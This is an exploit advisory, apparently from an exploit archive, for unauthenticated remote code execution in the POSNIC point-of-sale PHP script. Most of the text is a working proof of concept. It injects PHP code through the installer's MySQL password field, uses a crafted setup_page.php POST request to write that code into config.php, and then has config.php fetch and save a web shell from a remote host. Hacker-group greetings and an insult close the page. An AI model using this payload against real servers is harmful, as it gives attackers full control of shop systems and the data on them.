Author

Manish Tanwar

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-26863

Category

web applications

Date add

01-02-2017

Platform

php

##################################################################################################
#Exploit Title : POSNIC all version(till 1.03) unauthenticated remote code execution 
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 01/02/2017
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab 
##################################################################################################
 
////////////////////////
/// Overview:
////////////////////////
 
POSNIC is PHP based point of sale script. This script is allowing CMS reinstalltion just by crafting parameters correctly. Vulnerability is in Setup_page.php page code. To exploit this issue, attacker need to setup remote MySQL server which is configured to accept from outside host.  
  
 
////////////////
///  POC   ////
///////////////

setup mysql server on a machine which accept mysql connection from remote host.
-> create one user with password
    ";file_put_contents($_GET[2],file_get_contents($_GET[3]));//
-> create database with name "owned"
-> After setting up this thing, craft POST method request on page setup_page.php with post parameters
  select[]=1&select_box=owned&host=localhost&username=root&password=";file_put_contents($_GET[2],file_get_contents($_GET[3]));//&dummy=1&submit=INSTALL
    here
    select_box is the name of the remote server database name
    host is IP of remote server which is having MySQL server configured on it.
    username is the remote MySQL server user account name
    password parameter is the password of remote MySQL user account password and it must be
    ";file_put_contents($_GET[2],file_get_contents($_GET[3]));//
-> After crafting request, config.php will get injected with code file_put_contents($_GET[2],file_get_contents($_GET[3]));
-> And finally to get web shell on server just access config.php file with these parameters
  http://127.0.0.1/POSNIC/config.php?2=r.php&3=http://remote_server/web_shell.txt

-> after accessing this, web shell hosted on remote_server (in txt format) will get save in POSNIC installation with file name r.php

for more, visit https://manulinux.blogspot.in 

                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,Gujjar PCP
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty, Hacker fantastic, Jennifer Arcuri and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3

#  0day.today [2024-11-15]  #